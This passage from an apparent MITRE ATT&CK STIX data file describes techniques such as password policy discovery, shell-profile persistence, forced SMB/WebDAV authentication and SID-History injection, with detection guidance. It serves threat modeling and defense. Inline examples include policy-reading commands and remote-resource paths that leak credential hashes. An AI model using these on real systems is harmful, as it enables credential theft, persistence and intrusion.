            "description": "Adversaries may attempt to access detailed information about the password policy used within an enterprise network or cloud environment. Password policies are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). This information may help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).\n\nPassword policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as <code>net accounts (/domain)</code>, <code>Get-ADDefaultDomainPasswordPolicy</code>, <code>chage -l <username></code>, <code>cat /etc/pam.d/common-password</code>, and <code>pwpolicy getaccountpolicies</code> (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies). Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to discover password policy information (e.g. <code>show aaa</code>, <code>show aaa common-criteria policy all</code>).(Citation: US-CERT-TA18-106A)\n\nPassword policies can be discovered in cloud environments using available APIs such as <code>GetAccountPasswordPolicy</code> in AWS (Citation: AWS GetPasswordPolicy).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Regina Elwell",
                "Sudhanshu Chauhan, @Sudhanshu_C",
                "Isif Ibrahima, Mandiant",
                "Austin Clark, @c2defense"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor logs and processes for tools and command line arguments that may indicate they're being used for password policy discovery. Correlate that activity with other suspicious activity from the originating system to reduce potential false positives from valid user or administrator activity. Adversaries will likely attempt to find the password policy early in an operation and the activity is likely to happen with other Discovery activity.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "Linux",
                "macOS",
                "IaaS",
                "Network Devices",
                "Identity Provider",
                "SaaS",
                "Office Suite"
            ],
            "x_mitre_version": "1.7",
            "x_mitre_data_sources": [
                "User Account: User Account Metadata",
                "Command: Command Execution",
                "Process: Process Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db",
            "created": "2020-01-22T21:04:23.285Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1546",
                    "external_id": "T1546"
                },
                {
                    "source_name": "FireEye WMI 2015",
                    "description": "Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf"
                },
                {
                    "source_name": "Microsoft DART Case Report 001",
                    "description": "Berk Veral. (2020, March 9). Real-life cybercrime stories from DART, the Microsoft Detection and Response Team. Retrieved May 27, 2022.",
                    "url": "https://www.microsoft.com/security/blog/2020/03/09/real-life-cybercrime-stories-dart-microsoft-detection-and-response-team"
                },
                {
                    "source_name": "amnesia malware",
                    "description": "Claud Xiao, Cong Zheng, Yanhui Jia. (2017, April 6). New IoT/Linux Malware Targets DVRs, Forms Botnet. Retrieved February 19, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/"
                },
                {
                    "source_name": "Backdooring an AWS account",
                    "description": "Daniel Grzelak. (2016, July 9). Backdooring an AWS account. Retrieved May 27, 2022.",
                    "url": "https://medium.com/daniel-grzelak/backdooring-an-aws-account-da007d36f8f9"
                },
                {
                    "source_name": "Varonis Power Automate Data Exfiltration",
                    "description": "Eric Saraga. (2022, February 2). Using Power Automate for Covert Data Exfiltration in Microsoft 365. Retrieved May 27, 2022.",
                    "url": "https://www.varonis.com/blog/power-automate-data-exfiltration"
                },
                {
                    "source_name": "Malware Persistence on OS X",
                    "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.",
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:28:46.740Z",
            "name": "Event Triggered Execution",
            "description": "Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries. Cloud environments may also support various functions and services that monitor and can be invoked in response to specific cloud events.(Citation: Backdooring an AWS account)(Citation: Varonis Power Automate Data Exfiltration)(Citation: Microsoft DART Case Report 001)\n\nAdversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code. After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation: Malware Persistence on OS X)(Citation: amnesia malware)\n\nSince the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges. ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitoring for additions or modifications of mechanisms that could be used to trigger event-based execution, especially the addition of abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network. Also look for changes that do not line up with updates, patches, or other planned administrative activity. \n\nThese mechanisms may vary by OS, but are typically stored in central repositories that store configuration information such as the Windows Registry, Common Information Model (CIM), and/or specific named files, the last of which can be hashed and compared to known good values. \n\nMonitor for processes, API/System calls, and other common ways of manipulating these event repositories. \n\nTools such as Sysinternals Autoruns can be used to detect changes to execution triggers that could be attempts at persistence. Also look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques.  \n\nMonitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement. ",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "SaaS",
                "IaaS",
                "Office Suite"
            ],
            "x_mitre_version": "1.4",
            "x_mitre_data_sources": [
                "Module: Module Load",
                "WMI: WMI Creation",
                "File: File Metadata",
                "File: File Creation",
                "File: File Modification",
                "Windows Registry: Windows Registry Key Modification",
                "Command: Command Execution",
                "Cloud Service: Cloud Service Modification",
                "Process: Process Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--b63a34e8-0a61-4c97-a23b-bf8a2ed812e2",
            "created": "2020-01-24T14:13:45.936Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1546/004",
                    "external_id": "T1546.004"
                },
                {
                    "source_name": "anomali-linux-rabbit",
                    "description": "Anomali Threat Research. (2018, December 6). Pulling Linux Rabbit/Rabbot Malware Out of a Hat. Retrieved December 17, 2020.",
                    "url": "https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat"
                },
                {
                    "source_name": "anomali-rocke-tactics",
                    "description": "Anomali Threat Research. (2019, October 15). Illicit Cryptomining Threat Actor Rocke Changes Tactics, Now More Difficult to Detect. Retrieved December 17, 2020.",
                    "url": "https://www.anomali.com/blog/illicit-cryptomining-threat-actor-rocke-changes-tactics-now-more-difficult-to-detect"
                },
                {
                    "source_name": "Linux manual bash invocation",
                    "description": "ArchWiki. (2021, January 19). Bash. Retrieved February 25, 2021.",
                    "url": "https://wiki.archlinux.org/index.php/Bash#Invocation"
                },
                {
                    "source_name": "ScriptingOSX zsh",
                    "description": "Armin Briegel. (2019, June 5). Moving to zsh, part 2: Configuration Files. Retrieved February 25, 2021.",
                    "url": "https://scriptingosx.com/2019/06/moving-to-zsh-part-2-configuration-files/"
                },
                {
                    "source_name": "bencane blog bashrc",
                    "description": "Benjamin Cane. (2013, September 16). Understanding a little more about /etc/profile and /etc/bashrc. Retrieved September 25, 2024.",
                    "url": "https://web.archive.org/web/20220316014323/http://bencane.com/2013/09/16/understanding-a-little-more-about-etcprofile-and-etcbashrc/"
                },
                {
                    "source_name": "macOS MS office sandbox escape",
                    "description": "Cedric Owens. (2021, May 22). macOS MS Office Sandbox Brain Dump. Retrieved August 20, 2021.",
                    "url": "https://cedowens.medium.com/macos-ms-office-sandbox-brain-dump-4509b5fed49a"
                },
                {
                    "source_name": "Magento",
                    "description": "Cesar Anjos. (2018, May 31). Shell Logins as a Magento Reinfection Vector. Retrieved December 17, 2020.",
                    "url": "https://blog.sucuri.net/2018/05/shell-logins-as-a-magento-reinfection-vector.html"
                },
                {
                    "source_name": "Tsunami",
                    "description": "Claud Xiao and Cong Zheng. (2017, April 6). New IoT/Linux Malware Targets DVRs, Forms Botnet. Retrieved December 17, 2020.",
                    "url": "https://unit42.paloaltonetworks.com/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/"
                },
                {
                    "source_name": "PersistentJXA_leopitt",
                    "description": "Leo Pitt. (2020, August 6). Persistent JXA - A poor man's Powershell for macOS. Retrieved January 11, 2021.",
                    "url": "https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5"
                },
                {
                    "source_name": "code_persistence_zsh",
                    "description": "Leo Pitt. (2020, November 11). Github - PersistentJXA/BashProfilePersist.js. Retrieved January 11, 2021.",
                    "url": "https://github.com/D00MFist/PersistentJXA/blob/master/BashProfilePersist.js"
                },
                {
                    "source_name": "ESF_filemonitor",
                    "description": "Patrick Wardle. (2019, September 17). Writing a File Monitor with Apple's Endpoint Security Framework. Retrieved December 17, 2020.",
                    "url": "https://objective-see.com/blog/blog_0x48.html"
                },
                {
                    "source_name": "intezer-kaiji-malware",
                    "description": "Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware turning to Golang. Retrieved December 17, 2020.",
                    "url": "https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:59:00.346Z",
            "name": "Unix Shell Configuration Modification",
            "description": "Adversaries may establish persistence through executing malicious commands triggered by a user\u2019s shell. User [Unix Shell](https://attack.mitre.org/techniques/T1059/004)s execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. The login shell executes scripts from the system (<code>/etc</code>) and the user\u2019s home directory (<code>~/</code>) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user\u2019s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately. \n\nAdversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the <code>/etc/profile</code> and <code>/etc/profile.d</code> files.(Citation: intezer-kaiji-malware)(Citation: bencane blog bashrc) These files typically require root permissions to modify and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into <code>~/.bash_profile</code>, <code>~/.bash_login</code>, or <code>~/.profile</code> which are sourced when a user opens a command-line interface or connects remotely.(Citation: anomali-rocke-tactics)(Citation: Linux manual bash invocation) Since the system only executes the first existing file in the listed order, adversaries have used <code>~/.bash_profile</code> to ensure execution. Adversaries have also leveraged the <code>~/.bashrc</code> file which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command-line interface.(Citation: Tsunami)(Citation: anomali-rocke-tactics)(Citation: anomali-linux-rabbit)(Citation: Magento) Some malware targets the termination of a program to trigger execution, adversaries can use the <code>~/.bash_logout</code> file to execute malicious commands at the end of a session. \n\nFor macOS, the functionality of this technique is similar but may leverage zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using <code>/etc/profile</code>, <code>/etc/zshenv</code>, <code>/etc/zprofile</code>, and <code>/etc/zlogin</code>.(Citation: ScriptingOSX zsh)(Citation: PersistentJXA_leopitt)(Citation: code_persistence_zsh)(Citation: macOS MS office sandbox escape) The login shell then configures the user environment with <code>~/.zprofile</code> and <code>~/.zlogin</code>. The interactive shell uses the <code>~/.zshrc</code> to configure the user environment. Upon exiting, <code>/etc/zlogout</code> and <code>~/.zlogout</code> are executed. For legacy programs, macOS executes <code>/etc/bashrc</code> on startup.",
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                    "phase_name": "privilege-escalation"
                },
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            "x_mitre_contributors": [
                "Robert Wilson",
                "Tony Lambert, Red Canary"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "While users may customize their shell profile files, there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process.\n\nMonitor for changes to <code>/etc/profile</code> and <code>/etc/profile.d</code>, these files should only be modified by system administrators. MacOS users can leverage Endpoint Security Framework file events monitoring these specific files.(Citation: ESF_filemonitor) \n\nFor most Linux and macOS systems, a list of file paths for valid shell options available on a system are located in the <code>/etc/shells</code> file.\n",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS"
            ],
            "x_mitre_version": "2.2",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "File: File Creation",
                "Command: Command Execution",
                "File: File Modification"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--b77cf5f3-6060-475d-bd60-40ccbf28fdc2",
            "created": "2018-01-16T16:13:52.465Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1187",
                    "external_id": "T1187"
                },
                {
                    "source_name": "Cylance Redirect to SMB",
                    "description": "Cylance. (2015, April 13). Redirect to SMB. Retrieved December 21, 2017.",
                    "url": "https://www.cylance.com/content/dam/cylance/pdfs/white_papers/RedirectToSMB.pdf"
                },
                {
                    "source_name": "GitHub Hashjacking",
                    "description": "Dunning, J. (2016, August 1). Hashjacking. Retrieved December 21, 2017.",
                    "url": "https://github.com/hob0/hashjacking"
                },
                {
                    "source_name": "Microsoft Managing WebDAV Security",
                    "description": "Microsoft. (n.d.). Managing WebDAV Security (IIS 6.0). Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20100210125749/https://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/4beddb35-0cba-424c-8b9b-a5832ad8e208.mspx"
                },
                {
                    "source_name": "Osanda Stealing NetNTLM Hashes",
                    "description": "Osanda Malith Jayathissa. (2017, March 24). Places of Interest in Stealing NetNTLM Hashes. Retrieved January 26, 2018.",
                    "url": "https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/"
                },
                {
                    "source_name": "Didier Stevens WebDAV Traffic",
                    "description": "Stevens, D. (2017, November 13). WebDAV Traffic To Malicious Sites. Retrieved December 21, 2017.",
                    "url": "https://blog.didierstevens.com/2017/11/13/webdav-traffic-to-malicious-sites/"
                },
                {
                    "source_name": "US-CERT APT Energy Oct 2017",
                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A"
                },
                {
                    "source_name": "Wikipedia Server Message Block",
                    "description": "Wikipedia. (2017, December 16). Server Message Block. Retrieved December 21, 2017.",
                    "url": "https://en.wikipedia.org/wiki/Server_Message_Block"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:36:48.417Z",
            "name": "Forced Authentication",
            "description": "Adversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept.\n\nThe Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system. (Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources.\n\nWeb Distributed Authoring and Versioning (WebDAV) is also typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443. (Citation: Didier Stevens WebDAV Traffic) (Citation: Microsoft Managing WebDAV Security)\n\nAdversaries may take advantage of this behavior to gain access to user account hashes through forced SMB/WebDAV authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)), or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource it will attempt authentication and send information, including the user's hashed credentials, over SMB to the adversary controlled server. (Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line [Brute Force](https://attack.mitre.org/techniques/T1110) cracking to gain access to plaintext credentials. (Citation: Cylance Redirect to SMB)\n\nThere are several different ways this can occur. (Citation: Osanda Stealing NetNTLM Hashes) Some specifics from in-the-wild use include:\n\n* A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)). The document can include, for example, a request similar to <code>file[:]//[remote address]/Normal.dotm</code> to trigger the SMB request. (Citation: US-CERT APT Energy Oct 2017)\n* A modified .LNK or .SCF file with the icon filename pointing to an external reference such as <code>\\\\[remote address]\\pic.png</code> that will force the system to load the resource when the icon is rendered to repeatedly gather credentials. (Citation: US-CERT APT Energy Oct 2017)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Teodor Cimpoesu",
                "Sudhanshu Chauhan, @Sudhanshu_C"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for SMB traffic on TCP ports 139, 445 and UDP port 137 and WebDAV traffic attempting to exit the network to unknown external systems. If attempts are detected, then investigate endpoint data sources to find the root cause. For internal traffic, monitor the workstation-to-workstation unusual (vs. baseline) SMB traffic. For many networks there should not be any, but it depends on how systems on the network are configured and where resources are located.\n\nMonitor creation and modification of .LNK, .SCF, or any other files on systems and within virtual environments that contain resources that point to external network resources as these could be used to gather credentials when the files are rendered. (Citation: US-CERT APT Energy Oct 2017)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
                "File: File Access",
                "Network Traffic: Network Traffic Flow",
                "File: File Modification",
                "File: File Creation",
                "Network Traffic: Network Traffic Content"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--b7dc639b-24cd-482d-a7f1-8897eda21023",
            "created": "2020-02-18T18:34:49.414Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1134/005",
                    "external_id": "T1134.005"
                },
                {
                    "source_name": "Microsoft SID",
                    "description": "Microsoft. (n.d.). Security Identifiers. Retrieved November 30, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx"
                },
                {
                    "source_name": "Microsoft SID-History Attribute",
                    "description": "Microsoft. (n.d.). Active Directory Schema - SID-History attribute. Retrieved November 30, 2017.",
                    "url": "https://msdn.microsoft.com/library/ms679833.aspx"
                },
                {
                    "source_name": "Microsoft Well Known SIDs Jun 2017",
                    "description": "Microsoft. (2017, June 23). Well-known security identifiers in Windows operating systems. Retrieved November 30, 2017.",
                    "url": "https://support.microsoft.com/help/243330/well-known-security-identifiers-in-windows-operating-systems"
                },
                {
                    "source_name": "Microsoft Get-ADUser",
                    "description": "Microsoft. (n.d.). Active Directory Cmdlets - Get-ADUser. Retrieved November 30, 2017.",
                    "url": "https://technet.microsoft.com/library/ee617241.aspx"
                },
                {
                    "source_name": "AdSecurity SID History Sept 2015",
                    "description": "Metcalf, S. (2015, September 19). Sneaky Active Directory Persistence #14: SID History. Retrieved November 30, 2017.",
                    "url": "https://adsecurity.org/?p=1772"
                },
                {
                    "source_name": "Microsoft DsAddSidHistory",
                    "description": "Microsoft. (n.d.). Using DsAddSidHistory. Retrieved November 30, 2017.",
                    "url": "https://msdn.microsoft.com/library/ms677982.aspx"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T14:47:45.982Z",
            "name": "SID-History Injection",
            "description": "Adversaries may use SID-History Injection to escalate privileges and bypass access controls. The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).\n\nWith Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002), or [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
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            "x_mitre_contributors": [
                "Alain Homewood, Insomnia Security",
                "Vincent Le Toux"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Examine data in user\u2019s SID-History attributes using the PowerShell <code>Get-ADUser</code> cmdlet (Citation: Microsoft Get-ADUser), especially users who have SID-History values from the same domain. (Citation: AdSecurity SID History Sept 2015) Also monitor account management events on Domain Controllers for successful and failed changes to SID-History. (Citation: AdSecurity SID History Sept 2015) (Citation: Microsoft DsAddSidHistory)\n\nMonitor for Windows API calls to the <code>DsAddSidHistory</code> function. (Citation: Microsoft DsAddSidHistory)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Active Directory: Active Directory Object Modification",
                "Process: OS API Execution",
                "User Account: User Account Metadata"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--b8017880-4b1e-42de-ad10-ae7ac6705166",
            "created": "2020-10-19T16:08:29.817Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1599",
                    "external_id": "T1599"
                },
                {
                    "source_name": "Kaspersky ThreatNeedle Feb 2021",
                    "description": "Vyacheslav Kopeytsev and Seongsu Park. (2021, February 25). Lazarus targets defense industry with ThreatNeedle. Retrieved October 27, 2021.",
                    "url": "https://securelist.com/lazarus-threatneedle/100803/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T20:37:19.349Z",
            "name": "Network Boundary Bridging",
            "description": "Adversaries may bridge network boundaries by compromising perimeter network devices or internal devices responsible for network segmentation. Breaching these devices may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.\n\nDevices such as routers and firewalls can be used to create boundaries between trusted and untrusted networks.  They achieve this by restricting traffic types to enforce organizational policy in an attempt to reduce the risk inherent in such connections.  Restriction of traffic can be achieved by prohibiting IP addresses, layer 4 protocol ports, or through deep packet inspection to identify applications.  To participate with the rest of the network, these devices can be directly addressable or transparent, but their mode of operation has no bearing on how the adversary can bypass them when compromised.\n\nWhen an adversary takes control of such a boundary device, they can bypass its policy enforcement to pass normally prohibited traffic across the trust boundary between the two separated networks without hinderance.  By achieving sufficient rights on the device, an adversary can reconfigure the device to allow the traffic they want, allowing them to then further achieve goals such as command and control via [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003) or exfiltration of data via [Traffic Duplication](https://attack.mitre.org/techniques/T1020/001). Adversaries may also target internal devices responsible for network segmentation and abuse these in conjunction with [Internal Proxy](https://attack.mitre.org/techniques/T1090/001) to achieve the same goals.(Citation: Kaspersky ThreatNeedle Feb 2021)  In the cases where a border device separates two separate organizations, the adversary can also facilitate lateral movement into new victim environments.",
            "kill_chain_phases": [
                {
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                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Consider monitoring network traffic on both interfaces of border network devices with out-of-band packet capture or network flow data, using a different device than the one in question.  Look for traffic that should be prohibited by the intended network traffic policy enforcement for the border network device.\n\nMonitor the border network device\u2019s configuration to validate that the policy enforcement sections are what was intended.  Look for rules that are less restrictive, or that allow specific traffic types that were not previously authorized.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Network Devices"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Content",
                "Network Traffic: Network Traffic Flow"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0",
            "created": "2019-03-15T13:59:30.390Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1486",
                    "external_id": "T1486"
                },
                {
                    "source_name": "CarbonBlack Conti July 2020",
                    "description": "Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021.",
                    "url": "https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/"
                },
                {
                    "source_name": "FireEye WannaCry 2017",
                    "description": "Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html"
                },
                {
                    "source_name": "Rhino S3 Ransomware Part 1",
                    "description": "Gietzen, S. (n.d.). S3 Ransomware Part 1: Attack Vector. Retrieved April 14, 2021.",
                    "url": "https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/"
                },
                {
                    "source_name": "Halcyon AWS Ransomware 2025",
                    "description": "Halcyon RISE Team. (2025, January 13). Abusing AWS Native Services: Ransomware Encrypting S3 Buckets with SSE-C. Retrieved March 18, 2025.",
                    "url": "https://www.halcyon.ai/blog/abusing-aws-native-services-ransomware-encrypting-s3-buckets-with-sse-c"
                },
                {
                    "source_name": "Varonis",
                    "description": "Jason Hill. (2023, February 8). VMware ESXi in the Line of Ransomware Fire. Retrieved March 26, 2025.",
                    "url": "https://www.varonis.com/blog/vmware-esxi-in-the-line-of-ransomware-fire"
                },
                {
                    "source_name": "Crowdstrike Hypervisor Jackpotting Pt 2 2021",
                    "description": "Michael Dawson. (2021, August 30). Hypervisor Jackpotting, Part 2: eCrime Actors Increase Targeting of ESXi Servers with Ransomware. Retrieved March 26, 2025.",
                    "url": "https://www.crowdstrike.com/en-us/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/"
                },
                {
                    "source_name": "NHS Digital Egregor Nov 2020",
                    "description": "NHS Digital. (2020, November 26). Egregor Ransomware The RaaS successor to Maze. Retrieved December 29, 2020.",
                    "url": "https://digital.nhs.uk/cyber-alerts/2020/cc-3681#summary"
                },
                {
                    "source_name": "US-CERT Ransomware 2016",
                    "description": "US-CERT. (2016, March 31). Alert (TA16-091A): Ransomware and Recent Variants. Retrieved March 15, 2019.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA16-091A"
                },
                {
                    "source_name": "US-CERT NotPetya 2017",
                    "description": "US-CERT. (2017, July 1). Alert (TA17-181A): Petya Ransomware. Retrieved March 15, 2019.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-181A"
                },
                {
